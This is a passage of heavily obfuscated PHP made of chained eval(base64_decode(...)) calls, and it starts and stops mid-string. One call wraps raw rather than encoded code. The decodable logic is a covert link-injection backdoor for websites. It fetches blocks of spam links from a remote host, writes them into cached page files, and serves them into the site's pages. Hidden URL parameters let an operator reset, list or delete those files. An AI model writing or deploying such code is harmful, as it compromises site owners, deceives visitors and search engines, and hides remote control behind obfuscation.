VCMzQ3NzU3RDRDRERFOTkzMzUgPSAwOyAkUkE4RUE0Mjc1RjdFNjYwODdCRDgwQjc2QkM4ODk2NzRCID0gMDsgJFJGNUYzRDE2RERGMUI4N0IwOTg1ODkxOUI1MTgwNkFFMCA9IDA7IGZvcmVhY2goJEdMT0JBTFNbJ2tleXdvcmRzJ10gYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7IGlmKCFmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdjcCddIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QikpeyBpZih0b3VjaCgkR0xPQkFMU1snZGdjcCddIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QikpeyAkUjNFRUUzOTY5NEY4QzdFQjM0Nzc1N0Q0Q0RERTk5MzM1Kys7IH1lbHNleyAkUkY1RjNEMTZEREYxQjg3QjA5ODU4OTE5QjUxODA2QUUwKys7IH0gfWVsc2V7ICRSQThFQTQyNzVGN0U2NjA4N0JEODBCNzZCQzg4OTY3NEIrKzsgfSB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPkluc3RhbGxlZC4gUGFnZXMgQ3JlYXRlZDogeyRSM0VFRTM5Njk0RjhDN0VCMzQ3NzU3RDRDRERFOTkzMzV9OyBQYWdlcyBBbHJlYWR5IHByZXNlbnRzOiB7JFJBOEVBNDI3NUY3RTY2MDg3QkQ4MEI3NkJDODg5Njc0Qn07IEZhaWxlZCBUbyBDcmVhdGU6IHskUkY1RjNEMTZEREYxQjg3QjA5ODU4OTE5QjUxODA2QUUwfTwvYj48YnI+IjsgfX0='));eval(base64_decode('ZnVuY3Rpb24gRkE3OTVFMEI0QkYxRDRCNjhBRkNCODVEQjVEM0YzOTI0KCl7IGVjaG8gRjhFMUM5Qjc5MDYwMjY1QzZBNDIxMzNDMkRBMkMzM0E2KCk7IGVjaG8gIjxocj57JEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ119PGhyPiIgLiBmaWxlc2l6ZSgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10pO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQsICRSRjUyQkEyMkJBRjc1NDM4QkIxQjAyRjQ3Njk1NEMwMjMgPSAnJywgJFJBQTdCQjRCMDVGQkQyN0RCN0NBNTk0ODkzRjE2NkI0NyA9IDAsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZigkUkFBN0JCNEIwNUZCRDI3REI3Q0E1OTQ4OTNGMTY2QjQ3KXsgJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IGZvcGVuKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICJ3Iik7IH1lbHNleyAkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gZm9wZW4oJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgImEiKTsgfSBpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKXsgZndyaXRlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIsICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQpOyBmZmx1c2goJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qik7IGZjbG9zZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICRSRjUyQkEyMkJBRjc1NDM4QkIxQjAyRjQ3Njk1NEMwMjM7IH0gfWVsc2V7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiY2FuJ3QgY3JlYXRlIGZpbGUgJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCI7IH0gZGllKCk7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjg5N0U1MEIzNzI0QTJENEFFREY4NTMxNEI1QzMxMkE1KCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUsICRSM0YwRjI1MEU4RkI3Q0U4NEI5Mzk3MUNDNkQzODBFMjMpeyBmb3JlYWNoKCRSM0YwRjI1MEU4RkI3Q0U4NEI5Mzk3MUNDNkQzODBFMjMgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qil7IGlmKCEkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKXtjb250aW51ZTt9ICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQgPSBzdHJwb3MoJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSwgIj8iIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QiAuICI9Iik7IGlmKCEkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEKXsgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCA9IHN0cnBvcygkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAiJiIgLiAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCIC4gIj0iKTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9ICcmJzsgfWVsc2V7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAnPyc7IH0gaWYoJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCl7ICRSQ0VFRjgyRTY1QkQ1MkFEMkEyMzQwQ0REQzM1N0IxODUgPSBzdHJwb3MoJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSwgIiYiLCAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEICsgMSk7IGlmKCRSQ0VFRjgyRTY1QkQ1MkFEMkEyMzQwQ0REQzM1N0IxODUgPiAwKXsgJFIyN0VDODI2Njc5MzFDNzk2NzM2REZBQzkzNTg0MzQ2OCA9IHN1YnN0cigkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAkUkNFRUY4MkU2NUJENTJBRDJBMjM0MENEREMzNTdCMTg1ICsgMSk7IH1lbHNleyAkUjI3RUM4MjY2NzkzMUM3OTY3MzZERkFDOTM1ODQzNDY4ID0gJyc7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAnJzsgfSAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gc3Vic3RyKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUsIDAsICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQpIC4gJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyAuICRSMjdFQzgyNjY3OTMxQzc5NjczNkRGQUM5MzU4NDM0Njg7IH0gfSByZXR1cm4gJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNTt9'));eval(base64_decode('function gml(){ global $_GET, $_SERVER; if($GLOBALS['dhhag']){return;} $GLOBALS['dhhag'] = 1; $R034AE2AB94F99CC81B389A1822DA3353 = strtolower($_SERVER['REQUEST_URI']); F370738CD4081996C047ABEDCDED6CEF5(); if(strpos($R034AE2AB94F99CC81B389A1822DA3353, 'rss') > 0 || strpos($R034AE2AB94F99CC81B389A1822DA3353, 'feed') > 0){ return; } $R034AE2AB94F99CC81B389A1822DA3353 = ''; $_SERVER['REQUEST_URI'] = strtolower($_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = F897E50B3724A2D4AEDF85314B5C312A5($_SERVER['REQUEST_URI'], explode(";", $GLOBALS['dgopt']['qr'])); if(isset($_GET['rl']) || isset($_GET['sl']) || isset($_GET['cl']) || isset($_GET['dgd'])){ $_SERVER['REQUEST_URI'] = str_replace('rl', '', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace('sl', '', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace('dgd', '', $_SERVER['REQUEST_URI']); $RD42A7133AD793E790EEB928B4EEE6EED = 1; }else{ $RD42A7133AD793E790EEB928B4EEE6EED = 0; } $_SERVER['REQUEST_URI'] = preg_replace('/\&\&/', '&', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace("?&", "?", $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = preg_replace('/\??\&?$/', '', $_SERVER['REQUEST_URI']); $RB2B40A3E3C5371A0C20E3456A5A2E50B = FAFDDA6FB38169D62DD5A5768FBEFD7AD(); if(!$RD42A7133AD793E790EEB928B4EEE6EED && ($GLOBALS['dgopt']['dgblo'] && !$RB2B40A3E3C5371A0C20E3456A5A2E50B)){ return $R034AE2AB94F99CC81B389A1822DA3353; } if(isset($_GET['cl'])){ $R60169CD1C47B7A7A85AB44F884635E41 = opendir($GLOBALS['dgcp']); if($_GET['cl'] == 1){ $_GET['cl'] = ''; } $R503FCF89BF97C3406AFBE36650A3EEAC = array(); if($_GET['cl']){ $R503FCF89BF97C3406AFBE36650A3EEAC = explode('@sep@', $_GET['cl']); } while(strlen($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41))){ if(is_dir($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B) || strlen($R6B6E98CDE8B33087A33E4D3A497BD86B) <> 32){ continue; } if(count($R503FCF89BF97C3406AFBE36650A3EEAC) > 0){ set_time_limit(600); $R81B6873CC4FC552BABA24BA6156BE9E6 = F17673EF6456CD8ECA52D9D6DF3F18F3B($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B); $R32036CD59E72FCCC734040D44D4CFDE1 = count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks']); foreach($R503FCF89BF97C3406AFBE36650A3EEAC as $RAFDD4371A157259D65FF1B72625750EE=>$R6629C5988EEFCD88EA6F77A2AE672B96){ if(!$R6629C5988EEFCD88EA6F77A2AE672B96){ continue; } foreach($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'] as $R607C17D838186F5D79E9619FDD4AEEDB=>$RE8D62611E5E1C69F95755AA7DAF5B948){ if(strpos($RE8D62611E5E1C69F95755AA7DAF5B948, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}")){ unset($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'][$R607C17D838186F5D79E9619FDD4AEEDB]); foreach($R81B6873CC4FC552BABA24BA6156BE9E6['links'] as $R3769C846EA0860CCB15C3CA45880E05B=>$R1261CD629575ACC614AF0867C1E29E37){ if(!(strpos($R1261CD629575ACC614AF0867C1E29E37, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}/") === false) || !(strpos($R1261CD629575ACC614AF0867C1E29E37, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}\"") === false)){ unset($R81B6873CC4FC552BABA24BA6156BE9E6['links'][$R3769C846EA0860CCB15C3CA45880E05B]); } } } } } if(!count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'])){ if(unlink($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B)){echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} removed<br>";}else{echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} can't remove<br>";} }elseif($R32036CD59E72FCCC734040D44D4CFDE1 <> count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'])){ $R04CB58866688F2FE57771583392B6A18 = $R81B6873CC4FC552BABA24BA6156BE9E6['pre'] . implode("", $R81B6873CC4FC552BABA24BA6156BE9E6['blocks']) . '<!--' . rand(1, 99999999999) . '-->' . $R81B6873CC4FC552BABA24BA6156BE9E6['post']; F17B8C65064AE90679E4CE6254EF6C510($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B, $R04CB58866688F2FE57771583392B6A18, "", 1); echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} updated<br>"; } }else{ if(unlink($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B)){echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} removed<br>";}else{echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} can't remove<br>";} } flush(); } return $R034AE2AB94F99CC81B389A1822DA3353; } $R8154020E56D685133E67B3A86B72A3CF = $GLOBALS['dgcp'].md5('http:/'.'/' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if(!$GLOBALS['dguh']){ if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<b><nobr>[no url for updates: {$GLOBALS['dguh']}]</nobr></b><br>";} return $R034AE2AB94F99CC81B389A1822DA3353; } if(strpos(strtolower($_SERVER['REQUEST_URI']), 'http:/'.'/') === 0){ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = $_SERVER['REQUEST_URI']; }else{ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = 'http:/'.'/' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr><b>[real url: {$R26DB1DFF7A9EC1EDA1D18E1948E39DEE}]</b></nobr><br>";} $R78120FD9DFFBA860E1D245E528DE3AC7 = 0; $R0CB51639A1F2BB354CA85714A0686605 = F17673EF6456CD8ECA52D9D6DF3F18F3B($R8154020E56D685133E67B3A86B72A3CF); if(isset($_GET['rl'])){ $R0CB51639A1F2BB354CA85714A0686605['blocks'] = array(); $R0CB51639A1F2BB354CA85714A0686605['links'] = array(); $R0CB51639A1F2BB354CA85714A0686605['count'] = 0; $R0CB51639A1F2BB354CA85714A0686605['exclusive'] = ''; unlink($R8154020E56D685133E67B3A86B72A3CF); } if(($RB2B40A3E3C5371A0C20E3456A5A2E50B || $RD42A7133AD793E790EEB928B4EEE6EED) && $R0CB51639A1F2BB354CA85714A0686605['count'] < $GLOBALS['dgopt']['ml'] && !$R0CB51639A1F2BB354CA85714A0686605['exclusive']){ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = $GLOBALS['dguh'].'?p=' . rawurlencode($R26DB1DFF7A9EC1EDA1D18E1948E39DEE) . '&l=' . $R0CB51639A1F2BB354CA85714A0686605['count']; $R9D286369CBA2FBEB34D036FFC3C9EB2E = ''; $R972A1D6D7FBAA83B27C6006E2C7CBC3F = array(); foreach($R0CB51639A1F2BB354CA85714A0686605['links'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R9D286369CBA2FBEB34D036FFC3C9EB2E .= rawurlencode($R244F38266C59587D696AEC08A771B803) . "&"; } if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>downloading html block from: $R26DB1DFF7A9EC1EDA1D18E1948E39DEE</nobr><br>";} $R60DE4E18EB5FAD895E62225070907D34 = trim(FFD456406745D816A45CAE554C788E754($R26DB1DFF7A9EC1EDA1D18E1948E39DEE, 10, $R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E)); if($GLOBALS['dgu_jurl']){ FF97A1D7A5B771B21D423C3A9D78408C1($GLOBALS['dgu_jurl'], true); } if($GLOBALS['dgu_durl']){ FE30C005A9ED2D1D7195DD8485C71E92C($GLOBALS['dgu_durl'], true); } if($GLOBALS['dgu_wurl']){ F6BB94B6278053E81D67BB712972DDAA4($GLOBALS['dgu_wurl'], true); } if($GLOBALS['dgu_surl']){ F83C82319C79E957F7851CDE48F48DB3E($GLOBALS['dgu_surl'], true); } if($GLOBALS['dgu_kurl']){ F09C226E8C9EFC96D8CC6B1DE49E0CCE6($GLOBALS['dgu_kurl'], true); } if($GLOBALS['dgu_nurl']){ FF5A8F467631BBB8EDD5FB6AB7D45D2B6($GLOBALS['dgu_nurl'], true); } if(!preg_match("/\<\!\-\-\d+\-\-\>/", $R60DE4E18EB5FAD895E62225070907D34)){ if($RD42A7133AD793E790EEB928B4EEE6EED){if($R60DE4E18EB5FAD895E62225070907D34){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>bad response</nobr><br>";}else{$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>empty response</nobr><br>";}} }else{ $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 = strpos($R60DE4E18EB5FAD895E62225070907D34, '<'); if($R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 > 0){$R60DE4E18EB5FAD895E62225070907D34 = substr($R60DE4E18EB5FAD895E62225070907D34, $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2, strlen($R60DE4E18EB5FAD895E62225070907D34));} $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 = strrpos($R60DE4E18EB5FAD895E62225070907D34, '>'); if($R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 <> (strlen($R60DE4E18EB5FAD895E62225070907D34) - 1)){$R60DE4E18EB5FAD895E62225070907D34 = substr($R60DE4E18EB5FAD895E62225070907D34, 0, $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2+1);} $R9CD0C33A2EC51A6C3245ACA18B61B1FE = F17673EF6456CD8ECA52D9D6DF3F18F3B('', $R60DE4E18EB5FAD895E62225070907D34); if($R9CD0C33A2EC51A6C3245ACA18B61B1FE['pre'] && $R9CD0C33A2EC51A6C3245ACA18B61B1FE['post']){ $R0CB51639A1F2BB354CA85714A0686605['pre'] = $R9CD0C33A2EC51A6C3245ACA18B61B1FE['pre']; $R0CB51639A1F2BB354CA85714A0686605['post'] = $R9CD0C33A2EC51A6C3245ACA18B61B1FE['post']; } if(count($R9CD0C33A2EC51A6C3245ACA18B61B1FE['blocks'])){ foreach($R9CD0C33A2EC51A6C3245ACA18B61B1FE['blocks'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R0CB51639A1F2BB354CA85714A0686605['blocks'][] = $R244F38266C59587D696AEC08A771B803; } foreach($R9CD0C33A2EC51A6C3245ACA18B61B1FE['links'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R0CB51639A1F2BB354CA85714A0686605['links'][] = $R244F38266C59587D696AEC08A771B803; } $R0CB51639A1F2BB354CA85714A0686605['count'] = count($R0CB51639A1F2BB354CA85714A0686605['blocks']); $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . '<!--' . rand(1, 99999999999) . '-->' . $R0CB51639A1F2BB354CA85714A0686605['post']; F17B8C65064AE90679E4CE6254EF6C510($R8154020E56D685133E67B3A86B72A3CF, $R04CB58866688F2FE57771583392B6A18, '', 1); if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>file $R8154020E56D685133E67B3A86B72A3CF updated</nobr><br>";} }else{ if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>no new links in downloaded html</nobr><br>";} $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . $R0CB51639A1F2BB354CA85714A0686605['post']; } } }else{ $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . $R0CB51639A1F2BB354CA85714A0686605['post']; } $R034AE2AB94F99CC81B389A1822DA3353 .= $R04CB58866688F2FE57771583392B6A18; if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 = str_replace('absolute', '', $R034AE2AB94F99CC81B389A1822DA3353);} if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<hr><br><b>dgok</b><br>";} return $R034AE2AB94F99CC81B389A1822DA3353;}'));eval(base64_decode('ZnVuY3Rpb24gRjczQ0M2M0QyRTVEOTIyQTA4QkU3MkVGRjE5MEM1MUNBKCRSOUNGQjdDNkQ2QjIwRDU0QjY2NUU4Q0UzMEE2NDg2RjIsICRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSRkYxQkFBMzc2OTY1OEY1QTkyRTBCMzY2MkI5MUVCQjkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gYXJyYXkoKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IDA7ICRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAgPSBmb3BlbigkR0xPQkFMU1snZGdjcCddLiJsb2NrIiwgImEiKTsgaWYoISRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzApeyByZXR1cm47IH0gaWYoIWZsb2NrKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAsIExPQ0tfRVgpKXsgZmNsb3NlKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzApOyByZXR1cm47IH0gaWYoZmlsZV9leGlzdHMoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKTsgaWYoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiAmJiBjb3VudCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKSA+IDEwMDAwKXsgJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IGFycmF5KCk7IH0gfSAkUjEyRjA0MUM3MDlDQjVFNkQ2NjYwRTk2OUY1OUI1ODhDID0gbWt0aW1lKCk7IGlmKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpeyBkb3sgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQyA9IGV4cGxvZGUoInwiLCAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdKTsgaWYoJFIxMkYwNDFDNzA5Q0I1RTZENjY2MEU5NjlGNTlCNTg4QyAtICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPiA2MCAqIDYwICogJFJGRjFCQUEzNzY5NjU4RjVBOTJFMEIzNjYyQjkxRUJCOSl7IGFycmF5X3NoaWZ0KCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyB9ZWxzZXsgYnJlYWs7IH0gfXdoaWxlKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyB9ICRSQTU3OEEyOEM4NzQ2NzE3OUVEMDdGNjU0MTNENkUxMjkgPSBpbXBsb2RlKCIiLCAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKTsgaWYoIXN0cnBvcygnICcgLiAkUkE1NzhBMjhDODc0NjcxNzlFRDA3RjY1NDEzRDZFMTI5LCAkUjlDRkI3QzZENkIyMEQ1NEI2NjVFOENFMzBBNjQ4NkYyKSl7ICRSQTU3OEEyOEM4NzQ2NzE3OUVEMDdGNjU0MTNENkUxMjkgLj0gJFI5Q0ZCN0M2RDZCMjBENTRCNjY1RThDRTMwQTY0ODZGMiAuICd8JyAuIG1rdGltZSgpIC4gIlxuIjsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IDE7IH0gJFIxREU1RUI4MjZGRDE2MTkxQTU4M0M4NzQ3NjJBMDkwQyA9IGZvcGVuKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICJ3Iik7IGlmKCRSMURFNUVCODI2RkQxNjE5MUE1ODNDODc0NzYyQTA5MEMpeyBmd3JpdGUoJFIxREU1RUI4MjZGRDE2MTkxQTU4M0M4NzQ3NjJBMDkwQywgJFJBNTc4QTI4Qzg3NDY3MTc5RUQwN0Y2NTQxM0Q2RTEyOSk7IGZmbHVzaCgkUjFERTVFQjgyNkZEMTYxOTFBNTgzQzg3NDc2MkEwOTBDKTsgZmNsb3NlKCRSMURFNUVCODI2RkQxNjE5MUE1ODNDODc0NzYyQTA5MEMpOyB9IGZsb2NrKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAsIExPQ0tfVU4pOyBmY2xvc2UoJFIyRTk0NjFENDhDNzM3MUIxMDNFM0M5NzNDMTQ0REJDMCk7IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3NjczRUY2NDU2Q0Q4RUNBNTJEOUQ2REYzRjE4RjNCKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUgPSAnJyl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ3ByZSddID0gJyc7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ3Bvc3QnXSA9ICcnOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzWydibG9ja3MnXSA9IGFycmF5KCk7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2xpbmtzJ10gPSBhcnJheSgpOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzWydjb3VudCddID0gMDsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snZXhjbHVzaXZlJ10gPSAnJzsgaWYoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCAmJiBmaWxlX2V4aXN0cygkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSl7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgLj0gdHJpbShpbXBsb2RlKCIiLCBmaWxlKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKSk7IH1lbHNlaWYoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSl7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSAkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFOyB9ZWxzZXsgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7IH0gaWYoc3RycG9zKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICc8IS0tZXgtLT4nKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2V4Y2x1c2l2ZSddID0gJzwhLS1leC0tPic7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IHByZWdfc3BsaXQoIi8oXDxcIVwtXC1bXlwtXStcLVwtXD4pLyIsICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsIC0xLCBQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOyBpZihjb3VudCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKSA+PSAzKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1sncHJlJ10gPSBhcnJheV9zaGlmdCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRB